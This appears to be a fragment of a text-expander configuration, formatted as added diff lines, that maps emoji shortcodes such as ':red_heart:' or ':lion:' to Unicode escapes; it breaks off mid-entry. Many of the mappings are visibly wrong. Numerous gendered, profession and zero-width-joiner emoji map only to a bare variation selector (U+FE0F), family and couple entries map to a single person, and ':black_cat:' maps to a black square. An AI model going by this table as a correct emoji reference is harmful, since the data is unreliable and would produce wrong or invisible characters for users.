":red_heart:" + replace: "\U00002764" + - trigger: ":orange_heart:" + replace: "\U0001F9E1" + - trigger: ":yellow_heart:" + replace: "\U0001F49B" + - trigger: ":green_heart:" + replace: "\U0001F49A" + - trigger: ":blue_heart:" + replace: "\U0001F499" + - trigger: ":purple_heart:" + replace: "\U0001F49C" + - trigger: ":brown_heart:" + replace: "\U0001F90E" + - trigger: ":black_heart:" + replace: "\U0001F5A4" + - trigger: ":white_heart:" + replace: "\U0001F90D" + - trigger: ":hundred_points:" + replace: "\U0001F4AF" + - trigger: ":anger_symbol:" + replace: "\U0001F4A2" + - trigger: ":collision:" + replace: "\U0001F4A5" + - trigger: ":dizzy:" + replace: "\U0001F4AB" + - trigger: ":sweat_droplets:" + replace: "\U0001F4A6" + - trigger: ":dashing_away:" + replace: "\U0001F4A8" + - trigger: ":hole:" + replace: "\U0001F573" + - trigger: ":bomb:" + replace: "\U0001F4A3" + - trigger: ":speech_balloon:" + replace: "\U0001F4AC" + - trigger: ":eye_in_speech_bubble:" + replace: "\U0000FE0F" + - trigger: ":left_speech_bubble:" + replace: "\U0001F5E8" + - trigger: ":right_anger_bubble:" + replace: "\U0001F5EF" + - trigger: ":thought_balloon:" + replace: "\U0001F4AD" + - trigger: ":zzz:" + replace: "\U0001F4A4" + - trigger: ":waving_hand:" + replace: "\U0001F44B" + - trigger: ":raised_back_of_hand:" + replace: "\U0001F91A" + - trigger: ":hand_with_fingers_splayed:" + replace: "\U0001F590" + - trigger: ":raised_hand:" + replace: "\U0000270B" + - trigger: ":vulcan_salute:" + replace: "\U0001F596" + - trigger: ":rightwards_hand:" + replace: "\U0001FAF1" + - trigger: ":leftwards_hand:" + replace: "\U0001FAF2" + - trigger: ":palm_down_hand:" + replace: "\U0001FAF3" + - trigger: ":palm_up_hand:" + replace: "\U0001FAF4" + - trigger: ":ok_hand:" + replace: "\U0001F44C" + - trigger: ":pinched_fingers:" + replace: "\U0001F90C" + - trigger: ":pinching_hand:" + replace: "\U0001F90F" + - trigger: ":victory_hand:" + replace: "\U0000270C" + - trigger: ":crossed_fingers:" + replace: "\U0001F91E" + - trigger: ":hand_with_index_finger_and_thumb_crossed:" + replace: "\U0001FAF0" + - trigger: ":love_you_gesture:" + replace: "\U0001F91F" + - trigger: ":sign_of_the_horns:" + replace: "\U0001F918" + - trigger: ":call_me_hand:" + replace: "\U0001F919" + - trigger: ":backhand_index_pointing_left:" + replace: "\U0001F448" + - trigger: ":backhand_index_pointing_right:" + replace: "\U0001F449" + - trigger: ":backhand_index_pointing_up:" + replace: "\U0001F446" + - trigger: ":middle_finger:" + replace: "\U0001F595" + - trigger: ":backhand_index_pointing_down:" + replace: "\U0001F447" + - trigger: ":index_pointing_up:" + replace: "\U0000261D" + - trigger: ":index_pointing_at_the_viewer:" + replace: "\U0001FAF5" + - trigger: ":thumbs_up:" + replace: "\U0001F44D" + - trigger: ":thumbs_down:" + replace: "\U0001F44E" + - trigger: ":raised_fist:" + replace: "\U0000270A" + - trigger: ":oncoming_fist:" + replace: "\U0001F44A" + - trigger: ":left_facing_fist:" + replace: "\U0001F91B" + - trigger: ":right_facing_fist:" + replace: "\U0001F91C" + - trigger: ":clapping_hands:" + replace: "\U0001F44F" + - trigger: ":raising_hands:" + replace: "\U0001F64C" + - trigger: ":heart_hands:" + replace: "\U0001FAF6" + - trigger: ":open_hands:" + replace: "\U0001F450" + - trigger: ":palms_up_together:" + replace: "\U0001F932" + - trigger: ":handshake:" + replace: "\U0001F91D" + - trigger: ":folded_hands:" + replace: "\U0001F64F" + - trigger: ":writing_hand:" + replace: "\U0000270D" + - trigger: ":nail_polish:" + replace: "\U0001F485" + - trigger: ":selfie:" + replace: "\U0001F933" + - trigger: ":flexed_biceps:" + replace: "\U0001F4AA" + - trigger: ":mechanical_arm:" + replace: "\U0001F9BE" + - trigger: ":mechanical_leg:" + replace: "\U0001F9BF" + - trigger: ":leg:" + replace: "\U0001F9B5" + - trigger: ":foot:" + replace: "\U0001F9B6" + - trigger: ":ear:" + replace: "\U0001F442" + - trigger: ":ear_with_hearing_aid:" + replace: "\U0001F9BB" + - trigger: ":nose:" + replace: "\U0001F443" + - trigger: ":brain:" + replace: "\U0001F9E0" + - trigger: ":anatomical_heart:" + replace: "\U0001FAC0" + - trigger: ":lungs:" + replace: "\U0001FAC1" + - trigger: ":tooth:" + replace: "\U0001F9B7" + - trigger: ":bone:" + replace: "\U0001F9B4" + - trigger: ":eyes:" + replace: "\U0001F440" + - trigger: ":eye:" + replace: "\U0001F441" + - trigger: ":tongue:" + replace: "\U0001F445" + - trigger: ":mouth:" + replace: "\U0001F444" + - trigger: ":biting_lip:" + replace: "\U0001FAE6" + - trigger: ":baby:" + replace: "\U0001F476" + - trigger: ":child:" + replace: "\U0001F9D2" + - trigger: ":boy:" + replace: "\U0001F466" + - trigger: ":girl:" + replace: "\U0001F467" + - trigger: ":person:" + replace: "\U0001F9D1" + - trigger: ":person_blond_hair:" + replace: "\U0001F471" + - trigger: ":man:" + replace: "\U0001F468" + - trigger: ":person_beard:" + replace: "\U0001F9D4" + - trigger: ":man_beard:" + replace: "\U0000FE0F" + - trigger: ":woman_beard:" + replace: "\U0000FE0F" + - trigger: ":man_red_hair:" + replace: "\U0001F9B0" + - trigger: ":man_curly_hair:" + replace: "\U0001F9B1" + - trigger: ":man_white_hair:" + replace: "\U0001F9B3" + - trigger: ":man_bald:" + replace: "\U0001F9B2" + - trigger: ":woman:" + replace: "\U0001F469" + - trigger: ":woman_red_hair:" + replace: "\U0001F9B0" + - trigger: ":person_red_hair:" + replace: "\U0001F9B0" + - trigger: ":woman_curly_hair:" + replace: "\U0001F9B1" + - trigger: ":person_curly_hair:" + replace: "\U0001F9B1" + - trigger: ":woman_white_hair:" + replace: "\U0001F9B3" + - trigger: ":person_white_hair:" + replace: "\U0001F9B3" + - trigger: ":woman_bald:" + replace: "\U0001F9B2" + - trigger: ":person_bald:" + replace: "\U0001F9B2" + - trigger: ":woman_blond_hair:" + replace: "\U0000FE0F" + - trigger: ":man_blond_hair:" + replace: "\U0000FE0F" + - trigger: ":older_person:" + replace: "\U0001F9D3" + - trigger: ":old_man:" + replace: "\U0001F474" + - trigger: ":old_woman:" + replace: "\U0001F475" + - trigger: ":person_frowning:" + replace: "\U0001F64D" + - trigger: ":man_frowning:" + replace: "\U0000FE0F" + - trigger: ":woman_frowning:" + replace: "\U0000FE0F" + - trigger: ":person_pouting:" + replace: "\U0001F64E" + - trigger: ":man_pouting:" + replace: "\U0000FE0F" + - trigger: ":woman_pouting:" + replace: "\U0000FE0F" + - trigger: ":person_gesturing_no:" + replace: "\U0001F645" + - trigger: ":man_gesturing_no:" + replace: "\U0000FE0F" + - trigger: ":woman_gesturing_no:" + replace: "\U0000FE0F" + - trigger: ":person_gesturing_ok:" + replace: "\U0001F646" + - trigger: ":man_gesturing_ok:" + replace: "\U0000FE0F" + - trigger: ":woman_gesturing_ok:" + replace: "\U0000FE0F" + - trigger: ":person_tipping_hand:" + replace: "\U0001F481" + - trigger: ":man_tipping_hand:" + replace: "\U0000FE0F" + - trigger: ":woman_tipping_hand:" + replace: "\U0000FE0F" + - trigger: ":person_raising_hand:" + replace: "\U0001F64B" + - trigger: ":man_raising_hand:" + replace: "\U0000FE0F" + - trigger: ":woman_raising_hand:" + replace: "\U0000FE0F" + - trigger: ":deaf_person:" + replace: "\U0001F9CF" + - trigger: ":deaf_man:" + replace: "\U0000FE0F" + - trigger: ":deaf_woman:" + replace: "\U0000FE0F" + - trigger: ":person_bowing:" + replace: "\U0001F647" + - trigger: ":man_bowing:" + replace: "\U0000FE0F" + - trigger: ":woman_bowing:" + replace: "\U0000FE0F" + - trigger: ":person_facepalming:" + replace: "\U0001F926" + - trigger: ":man_facepalming:" + replace: "\U0000FE0F" + - trigger: ":woman_facepalming:" + replace: "\U0000FE0F" + - trigger: ":person_shrugging:" + replace: "\U0001F937" + - trigger: ":man_shrugging:" + replace: "\U0000FE0F" + - trigger: ":woman_shrugging:" + replace: "\U0000FE0F" + - trigger: ":health_worker:" + replace: "\U0000FE0F" + - trigger: ":man_health_worker:" + replace: "\U0000FE0F" + - trigger: ":woman_health_worker:" + replace: "\U0000FE0F" + - trigger: ":student:" + replace: "\U0001F393" + - trigger: ":man_student:" + replace: "\U0001F393" + - trigger: ":woman_student:" + replace: "\U0001F393" + - trigger: ":teacher:" + replace: "\U0001F3EB" + - trigger: ":man_teacher:" + replace: "\U0001F3EB" + - trigger: ":woman_teacher:" + replace: "\U0001F3EB" + - trigger: ":judge:" + replace: "\U0000FE0F" + - trigger: ":man_judge:" + replace: "\U0000FE0F" + - trigger: ":woman_judge:" + replace: "\U0000FE0F" + - trigger: ":farmer:" + replace: "\U0001F33E" + - trigger: ":man_farmer:" + replace: "\U0001F33E" + - trigger: ":woman_farmer:" + replace: "\U0001F33E" + - trigger: ":cook:" + replace: "\U0001F373" + - trigger: ":man_cook:" + replace: "\U0001F373" + - trigger: ":woman_cook:" + replace: "\U0001F373" + - trigger: ":mechanic:" + replace: "\U0001F527" + - trigger: ":man_mechanic:" + replace: "\U0001F527" + - trigger: ":woman_mechanic:" + replace: "\U0001F527" + - trigger: ":factory_worker:" + replace: "\U0001F3ED" + - trigger: ":man_factory_worker:" + replace: "\U0001F3ED" + - trigger: ":woman_factory_worker:" + replace: "\U0001F3ED" + - trigger: ":office_worker:" + replace: "\U0001F4BC" + - trigger: ":man_office_worker:" + replace: "\U0001F4BC" + - trigger: ":woman_office_worker:" + replace: "\U0001F4BC" + - trigger: ":scientist:" + replace: "\U0001F52C" + - trigger: ":man_scientist:" + replace: "\U0001F52C" + - trigger: ":woman_scientist:" + replace: "\U0001F52C" + - trigger: ":technologist:" + replace: "\U0001F4BB" + - trigger: ":man_technologist:" + replace: "\U0001F4BB" + - trigger: ":woman_technologist:" + replace: "\U0001F4BB" + - trigger: ":singer:" + replace: "\U0001F3A4" + - trigger: ":man_singer:" + replace: "\U0001F3A4" + - trigger: ":woman_singer:" + replace: "\U0001F3A4" + - trigger: ":artist:" + replace: "\U0001F3A8" + - trigger: ":man_artist:" + replace: "\U0001F3A8" + - trigger: ":woman_artist:" + replace: "\U0001F3A8" + - trigger: ":pilot:" + replace: "\U0000FE0F" + - trigger: ":man_pilot:" + replace: "\U0000FE0F" + - trigger: ":woman_pilot:" + replace: "\U0000FE0F" + - trigger: ":astronaut:" + replace: "\U0001F680" + - trigger: ":man_astronaut:" + replace: "\U0001F680" + - trigger: ":woman_astronaut:" + replace: "\U0001F680" + - trigger: ":firefighter:" + replace: "\U0001F692" + - trigger: ":man_firefighter:" + replace: "\U0001F692" + - trigger: ":woman_firefighter:" + replace: "\U0001F692" + - trigger: ":police_officer:" + replace: "\U0001F46E" + - trigger: ":man_police_officer:" + replace: "\U0000FE0F" + - trigger: ":woman_police_officer:" + replace: "\U0000FE0F" + - trigger: ":detective:" + replace: "\U0001F575" + - trigger: ":man_detective:" + replace: "\U0000FE0F" + - trigger: ":woman_detective:" + replace: "\U0000FE0F" + - trigger: ":guard:" + replace: "\U0001F482" + - trigger: ":man_guard:" + replace: "\U0000FE0F" + - trigger: ":woman_guard:" + replace: "\U0000FE0F" + - trigger: ":ninja:" + replace: "\U0001F977" + - trigger: ":construction_worker:" + replace: "\U0001F477" + - trigger: ":man_construction_worker:" + replace: "\U0000FE0F" + - trigger: ":woman_construction_worker:" + replace: "\U0000FE0F" + - trigger: ":person_with_crown:" + replace: "\U0001FAC5" + - trigger: ":prince:" + replace: "\U0001F934" + - trigger: ":princess:" + replace: "\U0001F478" + - trigger: ":person_wearing_turban:" + replace: "\U0001F473" + - trigger: ":man_wearing_turban:" + replace: "\U0000FE0F" + - trigger: ":woman_wearing_turban:" + replace: "\U0000FE0F" + - trigger: ":person_with_skullcap:" + replace: "\U0001F472" + - trigger: ":woman_with_headscarf:" + replace: "\U0001F9D5" + - trigger: ":person_in_tuxedo:" + replace: "\U0001F935" + - trigger: ":man_in_tuxedo:" + replace: "\U0000FE0F" + - trigger: ":woman_in_tuxedo:" + replace: "\U0000FE0F" + - trigger: ":person_with_veil:" + replace: "\U0001F470" + - trigger: ":man_with_veil:" + replace: "\U0000FE0F" + - trigger: ":woman_with_veil:" + replace: "\U0000FE0F" + - trigger: ":pregnant_woman:" + replace: "\U0001F930" + - trigger: ":pregnant_man:" + replace: "\U0001FAC3" + - trigger: ":pregnant_person:" + replace: "\U0001FAC4" + - trigger: ":breast_feeding:" + replace: "\U0001F931" + - trigger: ":woman_feeding_baby:" + replace: "\U0001F37C" + - trigger: ":man_feeding_baby:" + replace: "\U0001F37C" + - trigger: ":person_feeding_baby:" + replace: "\U0001F37C" + - trigger: ":baby_angel:" + replace: "\U0001F47C" + - trigger: ":santa_claus:" + replace: "\U0001F385" + - trigger: ":mrs_claus:" + replace: "\U0001F936" + - trigger: ":mx_claus:" + replace: "\U0001F384" + - trigger: ":superhero:" + replace: "\U0001F9B8" + - trigger: ":man_superhero:" + replace: "\U0000FE0F" + - trigger: ":woman_superhero:" + replace: "\U0000FE0F" + - trigger: ":supervillain:" + replace: "\U0001F9B9" + - trigger: ":man_supervillain:" + replace: "\U0000FE0F" + - trigger: ":woman_supervillain:" + replace: "\U0000FE0F" + - trigger: ":mage:" + replace: "\U0001F9D9" + - trigger: ":man_mage:" + replace: "\U0000FE0F" + - trigger: ":woman_mage:" + replace: "\U0000FE0F" + - trigger: ":fairy:" + replace: "\U0001F9DA" + - trigger: ":man_fairy:" + replace: "\U0000FE0F" + - trigger: ":woman_fairy:" + replace: "\U0000FE0F" + - trigger: ":vampire:" + replace: "\U0001F9DB" + - trigger: ":man_vampire:" + replace: "\U0000FE0F" + - trigger: ":woman_vampire:" + replace: "\U0000FE0F" + - trigger: ":merperson:" + replace: "\U0001F9DC" + - trigger: ":merman:" + replace: "\U0000FE0F" + - trigger: ":mermaid:" + replace: "\U0000FE0F" + - trigger: ":elf:" + replace: "\U0001F9DD" + - trigger: ":man_elf:" + replace: "\U0000FE0F" + - trigger: ":woman_elf:" + replace: "\U0000FE0F" + - trigger: ":genie:" + replace: "\U0001F9DE" + - trigger: ":man_genie:" + replace: "\U0000FE0F" + - trigger: ":woman_genie:" + replace: "\U0000FE0F" + - trigger: ":zombie:" + replace: "\U0001F9DF" + - trigger: ":man_zombie:" + replace: "\U0000FE0F" + - trigger: ":woman_zombie:" + replace: "\U0000FE0F" + - trigger: ":troll:" + replace: "\U0001F9CC" + - trigger: ":person_getting_massage:" + replace: "\U0001F486" + - trigger: ":man_getting_massage:" + replace: "\U0000FE0F" + - trigger: ":woman_getting_massage:" + replace: "\U0000FE0F" + - trigger: ":person_getting_haircut:" + replace: "\U0001F487" + - trigger: ":man_getting_haircut:" + replace: "\U0000FE0F" + - trigger: ":woman_getting_haircut:" + replace: "\U0000FE0F" + - trigger: ":person_walking:" + replace: "\U0001F6B6" + - trigger: ":man_walking:" + replace: "\U0000FE0F" + - trigger: ":woman_walking:" + replace: "\U0000FE0F" + - trigger: ":person_standing:" + replace: "\U0001F9CD" + - trigger: ":man_standing:" + replace: "\U0000FE0F" + - trigger: ":woman_standing:" + replace: "\U0000FE0F" + - trigger: ":person_kneeling:" + replace: "\U0001F9CE" + - trigger: ":man_kneeling:" + replace: "\U0000FE0F" + - trigger: ":woman_kneeling:" + replace: "\U0000FE0F" + - trigger: ":person_with_white_cane:" + replace: "\U0001F9AF" + - trigger: ":man_with_white_cane:" + replace: "\U0001F9AF" + - trigger: ":woman_with_white_cane:" + replace: "\U0001F9AF" + - trigger: ":person_in_motorized_wheelchair:" + replace: "\U0001F9BC" + - trigger: ":man_in_motorized_wheelchair:" + replace: "\U0001F9BC" + - trigger: ":woman_in_motorized_wheelchair:" + replace: "\U0001F9BC" + - trigger: ":person_in_manual_wheelchair:" + replace: "\U0001F9BD" + - trigger: ":man_in_manual_wheelchair:" + replace: "\U0001F9BD" + - trigger: ":woman_in_manual_wheelchair:" + replace: "\U0001F9BD" + - trigger: ":person_running:" + replace: "\U0001F3C3" + - trigger: ":man_running:" + replace: "\U0000FE0F" + - trigger: ":woman_running:" + replace: "\U0000FE0F" + - trigger: ":woman_dancing:" + replace: "\U0001F483" + - trigger: ":man_dancing:" + replace: "\U0001F57A" + - trigger: ":person_in_suit_levitating:" + replace: "\U0001F574" + - trigger: ":people_with_bunny_ears:" + replace: "\U0001F46F" + - trigger: ":men_with_bunny_ears:" + replace: "\U0000FE0F" + - trigger: ":women_with_bunny_ears:" + replace: "\U0000FE0F" + - trigger: ":person_in_steamy_room:" + replace: "\U0001F9D6" + - trigger: ":man_in_steamy_room:" + replace: "\U0000FE0F" + - trigger: ":woman_in_steamy_room:" + replace: "\U0000FE0F" + - trigger: ":person_climbing:" + replace: "\U0001F9D7" + - trigger: ":man_climbing:" + replace: "\U0000FE0F" + - trigger: ":woman_climbing:" + replace: "\U0000FE0F" + - trigger: ":person_fencing:" + replace: "\U0001F93A" + - trigger: ":horse_racing:" + replace: "\U0001F3C7" + - trigger: ":skier:" + replace: "\U000026F7" + - trigger: ":snowboarder:" + replace: "\U0001F3C2" + - trigger: ":person_golfing:" + replace: "\U0001F3CC" + - trigger: ":man_golfing:" + replace: "\U0000FE0F" + - trigger: ":woman_golfing:" + replace: "\U0000FE0F" + - trigger: ":person_surfing:" + replace: "\U0001F3C4" + - trigger: ":man_surfing:" + replace: "\U0000FE0F" + - trigger: ":woman_surfing:" + replace: "\U0000FE0F" + - trigger: ":person_rowing_boat:" + replace: "\U0001F6A3" + - trigger: ":man_rowing_boat:" + replace: "\U0000FE0F" + - trigger: ":woman_rowing_boat:" + replace: "\U0000FE0F" + - trigger: ":person_swimming:" + replace: "\U0001F3CA" + - trigger: ":man_swimming:" + replace: "\U0000FE0F" + - trigger: ":woman_swimming:" + replace: "\U0000FE0F" + - trigger: ":person_bouncing_ball:" + replace: "\U000026F9" + - trigger: ":man_bouncing_ball:" + replace: "\U0000FE0F" + - trigger: ":woman_bouncing_ball:" + replace: "\U0000FE0F" + - trigger: ":person_lifting_weights:" + replace: "\U0001F3CB" + - trigger: ":man_lifting_weights:" + replace: "\U0000FE0F" + - trigger: ":woman_lifting_weights:" + replace: "\U0000FE0F" + - trigger: ":person_biking:" + replace: "\U0001F6B4" + - trigger: ":man_biking:" + replace: "\U0000FE0F" + - trigger: ":woman_biking:" + replace: "\U0000FE0F" + - trigger: ":person_mountain_biking:" + replace: "\U0001F6B5" + - trigger: ":man_mountain_biking:" + replace: "\U0000FE0F" + - trigger: ":woman_mountain_biking:" + replace: "\U0000FE0F" + - trigger: ":person_cartwheeling:" + replace: "\U0001F938" + - trigger: ":man_cartwheeling:" + replace: "\U0000FE0F" + - trigger: ":woman_cartwheeling:" + replace: "\U0000FE0F" + - trigger: ":people_wrestling:" + replace: "\U0001F93C" + - trigger: ":men_wrestling:" + replace: "\U0000FE0F" + - trigger: ":women_wrestling:" + replace: "\U0000FE0F" + - trigger: ":person_playing_water_polo:" + replace: "\U0001F93D" + - trigger: ":man_playing_water_polo:" + replace: "\U0000FE0F" + - trigger: ":woman_playing_water_polo:" + replace: "\U0000FE0F" + - trigger: ":person_playing_handball:" + replace: "\U0001F93E" + - trigger: ":man_playing_handball:" + replace: "\U0000FE0F" + - trigger: ":woman_playing_handball:" + replace: "\U0000FE0F" + - trigger: ":person_juggling:" + replace: "\U0001F939" + - trigger: ":man_juggling:" + replace: "\U0000FE0F" + - trigger: ":woman_juggling:" + replace: "\U0000FE0F" + - trigger: ":person_in_lotus_position:" + replace: "\U0001F9D8" + - trigger: ":man_in_lotus_position:" + replace: "\U0000FE0F" + - trigger: ":woman_in_lotus_position:" + replace: "\U0000FE0F" + - trigger: ":person_taking_bath:" + replace: "\U0001F6C0" + - trigger: ":person_in_bed:" + replace: "\U0001F6CC" + - trigger: ":people_holding_hands:" + replace: "\U0001F9D1" + - trigger: ":women_holding_hands:" + replace: "\U0001F46D" + - trigger: ":woman_and_man_holding_hands:" + replace: "\U0001F46B" + - trigger: ":men_holding_hands:" + replace: "\U0001F46C" + - trigger: ":kiss:" + replace: "\U0001F48F" + - trigger: ":kiss_woman_man:" + replace: "\U0001F468" + - trigger: ":kiss_man_man:" + replace: "\U0001F468" + - trigger: ":kiss_woman_woman:" + replace: "\U0001F469" + - trigger: ":couple_with_heart:" + replace: "\U0001F491" + - trigger: ":couple_with_heart_woman_man:" + replace: "\U0001F468" + - trigger: ":couple_with_heart_man_man:" + replace: "\U0001F468" + - trigger: ":couple_with_heart_woman_woman:" + replace: "\U0001F469" + - trigger: ":family:" + replace: "\U0001F46A" + - trigger: ":family_man_woman_boy:" + replace: "\U0001F466" + - trigger: ":family_man_woman_girl:" + replace: "\U0001F467" + - trigger: ":family_man_woman_girl_boy:" + replace: "\U0001F466" + - trigger: ":family_man_woman_boy_boy:" + replace: "\U0001F466" + - trigger: ":family_man_woman_girl_girl:" + replace: "\U0001F467" + - trigger: ":family_man_man_boy:" + replace: "\U0001F466" + - trigger: ":family_man_man_girl:" + replace: "\U0001F467" + - trigger: ":family_man_man_girl_boy:" + replace: "\U0001F466" + - trigger: ":family_man_man_boy_boy:" + replace: "\U0001F466" + - trigger: ":family_man_man_girl_girl:" + replace: "\U0001F467" + - trigger: ":family_woman_woman_boy:" + replace: "\U0001F466" + - trigger: ":family_woman_woman_girl:" + replace: "\U0001F467" + - trigger: ":family_woman_woman_girl_boy:" + replace: "\U0001F466" + - trigger: ":family_woman_woman_boy_boy:" + replace: "\U0001F466" + - trigger: ":family_woman_woman_girl_girl:" + replace: "\U0001F467" + - trigger: ":family_man_boy:" + replace: "\U0001F466" + - trigger: ":family_man_boy_boy:" + replace: "\U0001F466" + - trigger: ":family_man_girl:" + replace: "\U0001F467" + - trigger: ":family_man_girl_boy:" + replace: "\U0001F466" + - trigger: ":family_man_girl_girl:" + replace: "\U0001F467" + - trigger: ":family_woman_boy:" + replace: "\U0001F466" + - trigger: ":family_woman_boy_boy:" + replace: "\U0001F466" + - trigger: ":family_woman_girl:" + replace: "\U0001F467" + - trigger: ":family_woman_girl_boy:" + replace: "\U0001F466" + - trigger: ":family_woman_girl_girl:" + replace: "\U0001F467" + - trigger: ":speaking_head:" + replace: "\U0001F5E3" + - trigger: ":bust_in_silhouette:" + replace: "\U0001F464" + - trigger: ":busts_in_silhouette:" + replace: "\U0001F465" + - trigger: ":people_hugging:" + replace: "\U0001FAC2" + - trigger: ":footprints:" + replace: "\U0001F463" + - trigger: ":red_hair:" + replace: "\U0001F9B0" + - trigger: ":curly_hair:" + replace: "\U0001F9B1" + - trigger: ":white_hair:" + replace: "\U0001F9B3" + - trigger: ":bald:" + replace: "\U0001F9B2" + - trigger: ":monkey_face:" + replace: "\U0001F435" + - trigger: ":monkey:" + replace: "\U0001F412" + - trigger: ":gorilla:" + replace: "\U0001F98D" + - trigger: ":orangutan:" + replace: "\U0001F9A7" + - trigger: ":dog_face:" + replace: "\U0001F436" + - trigger: ":dog:" + replace: "\U0001F415" + - trigger: ":guide_dog:" + replace: "\U0001F9AE" + - trigger: ":service_dog:" + replace: "\U0001F9BA" + - trigger: ":poodle:" + replace: "\U0001F429" + - trigger: ":wolf:" + replace: "\U0001F43A" + - trigger: ":fox:" + replace: "\U0001F98A" + - trigger: ":raccoon:" + replace: "\U0001F99D" + - trigger: ":cat_face:" + replace: "\U0001F431" + - trigger: ":cat:" + replace: "\U0001F408" + - trigger: ":black_cat:" + replace: "\U00002B1B" + - trigger: ":lion:" + replace: "\U0001F981" + - trigger: ":tiger_face:" + replace: "\U0001F42F" + - trigger: ":tiger:" + replace: "\U0001F405" + - trigger: ":leopard:" + replace: "\U0001F406" + - trigger: ":horse_face:" + replace: "\U0001F434" + - trigger: ":horse:" + replace: "\U0001F40E" + - trigger: ":unicorn:" + replace: "\U0001F984" + - trigger: ":zebra:" + replace: "\U0001F993" + - trigger: ":deer:" + replace: "\U0001F98C" + - trigger: ":bison:" + replace: "\U0001F9AC" + - trigger: ":cow_face:" + replace: "\U0001F42E" + - trigger: ":ox:" + replace: "\U0001F402" + - trigger: ":water_buffalo:" + replace: "\U0001F403" + - trigger: ":cow:" + replace: "\U0001F404" + - trigger: ":pig_face:" + replace: "\U0001F437" + - trigger: ":pig:" + replace: "\U0001F416" + - trigger: ":boar:" + replace: "\U0001F417" + - trigger: ":pig_nose:" + replace: "\U0001F43D" + - trigger: ":ram:" + replace: "\U0001F40F" + - trigger: ":ewe:" + replace: "\U0001F411" + - trigger: ":goat:" + replace: "\U0001F410" + - trigger: ":camel:" + replace: "\U0001F42A" + - trigger: ":two_hump_camel:" + replace: "\U0001F42B" + - trigger: ":llama:" + replace: "\U0001F999" + - trigger: ":giraffe:" + replace: "\U0001F992" + - trigger: ":elephant:" + replace: "\U0001F418" + - trigger: ":mammoth:" + replace: "\U0001F9A3" + - trigger: ":rhinoceros:" + replace: "\U0001F98F" + - trigger: ":hippopotamus:" + replace: "\U0001F99B" + - trigger: ":mouse_face:" + replace: "\U0001F42D" + - trigger: ":mouse:" + replace: "\U0001F401" + - trigger: ":rat:" + replace: "\U0001F400" + - trigger: ":hamster:" + replace: "\U0001F439" + - trigger: ":rabbit_face:" + replace: "\U0001F430" + - trigger: ":rabbit:" + replace: "\U0001F407" + - trigger: ":chipmunk:" + replace: "\U0001F43F" + - trigger: ":beaver:" + replace: "\U0001F9AB" + - trigger: ":hedgehog:" + replace: "\U0001F994" + - trigger: ":bat:" + replace: "\U0001F987" + - trigger: ":bear:" + replace: "\U0001F43B" + - trigger: ":polar_bear:" + replace: "\U0000FE0F" + - trigger: ":koala:" + replace: "\U0001F428" + - trigger: ":panda:" + replace: "\U0001F43C" + - trigger: ":sloth:" + replace: "\U0001F9A5" + - trigger: ":otter:" + replace: "\U0001F9A6" + - trigger: ":skunk:" + replace: "\U0001F9A8" + - trigger: ":kangaroo:" + replace: "\U0001F998" + - trigger: ":badger:" + replace: "\U0001F9A1" + - trigger: ":paw_prints:" + replace: "\U0001F43E" + - trigger: ":turkey:" + replace: "\U0001F983" + - trigger: ":chicken:" + replace: "\U0001F414" + - trigger: ":rooster:" + replace: "\U0001F413" + - trigger: ":hatching_chick:" + replace: "\U0001F423" + - trigger: ":baby_chick:" + replace: "\U0001F424" + - trigger: ":front_facing_baby_chick:" + replace: "\U0001F425" + - trigger: ":bird:" + replace: "\U0001F426" + - trigger: ":penguin:" + replace: "\U0001F427" + - trigger: ":dove:" + replace: "\U0001F54A" + - trigger: ":eagle:" + replace: "\U0001F985" + - trigger: ":duck:" + replace: "\U0001F986" + - trigger: ":swan:" + replace: "\U0001F9A2" + - trigger: ":owl:" + replace: "\U0001F989" + - trigger: ":dodo:" + replace: "\U0001F9A4" + - trigger: ":feather:" + replace: "\U0001FAB6" + - trigger: ":flamingo:" + replace: "\U0001F9A9" + - trigger: ":peacock:" + replace: "\U0001F99A" + - trigger: ":parrot:" + replace: "\U0001F99C" + - trigger: ":frog:" + replace: "\U0001F438" + - trigger: ":crocodile:" + replace: "\U0001F40A" + - trigger: ":turtle:" + replace: "\U0001F422" + - trigger: ":lizard:" + replace: "\U0001F98E" + - trigger: ":snake:" + replace: "\U0001F40D" + - trigger: ":dragon_face:" + replace: "\U0001F432" + - trigger: ":dragon:" + replace: "\U0001F409" + - trigger: ":sauropod:" + replace: "\U0001F995" + - trigger: ":t_rex:" + replace: "\U0001F996" + - trigger: ":spouting_whale:" + replace: "\U0001F433" + - trigger: ":whale:" + replace: "\U0001F40B" + - trigger: ":dolphin:" + replace: "\U0001F42C" + - trigger: ":seal:" + replace: "\U0001F9AD" + - trigger: ":fish:" + replace: "\U0001F41F" + - trigger: ":tropical_fish:" + replace: "\U0001F420" + - trigger: ":blowfish:" + replace: "\U0001F421" + - trigger: ":shark:" + replace: "\U0001F988" + - trigger: ":octopus:" + replace: "\U0001F419" + - trigger: ":spiral_shell:" + replace: "\U0001F41A" + - trigger: ":coral:" + replace: "\U0001FAB8" + - trigger: ":snail:" + replace: "\U0001F40C" + - trigger: ":butterfly:" + replace: "\U0001F98B" + - trigger: ":bug:" + replace: "\U0001F41B" + - trigger: ":ant:" + replace: "\U0001F41C" + - trigger: ":honeybee:" + replace: "\U0001F41D" + - trigger: ":beetle:" + replace: "\U0001FAB2" + - trigger: ":lady_beetle:" + replace: "\U0001F41E" + - trigger: ":cricket:" + replace: "\U0001F997" + - trigger: ":cockroach:" + replace: "\U0001FAB3" + - trigger: ":spider:" + replace: "\U0001F577" + - trigger: ":spider_web:" + replace: "\U0001F578" + - trigger: ":scorpion:" + replace: "\U0001F982" + - trigger: ":mosquito:" + replace: "\U0001F99F" + - trigger: ":fly:" + replace: "\U0001FAB0" + - trigger: ":worm:" + replace: "\U0001FAB1" + - trigger: ":microbe:" + replace: "\U0001F9A0" + - trigger: ":bouquet:" + replace: "\U0001F490" + - trigger: ":cherry_blossom:" + replace: "\U0001F338" + - trigger: ":white_flower:" + replace: "\U0001F4AE" + - trigger: ":lotus:" + replace: "\U0001FAB7" + - trigger: ":rosette:" + replace: "\U0001F3F5" + - trigger: ":rose:" + replace: "\U0001F339" + - trigger: ":wilted_flower:" + replace: "\U0001F940" + - trigger: ":hibiscus:" + replace: "\U0001F33A" + - trigger: ":sunflower:" + replace: "\U0001F33B" + - trigger: ":blossom:" + replace: "\U0001F33C" + - trigger: ":tulip:" + replace: "\U0001F337" + - trigger: ":seedling:" + replace: "\U0001F331" + - trigger: ":potted_plant:" + replace: "\U0001FAB4" + - trigger: ":evergreen_tree:" + replace: "\U0001F332" + - trigger: ":deciduous_tree:" + replace: "\U0001F333" + - trigger: ":palm_tree:" + replace: "\U0001F334" + - trigger: ":cactus:" + replace: "\U0001F335" + - trigger: 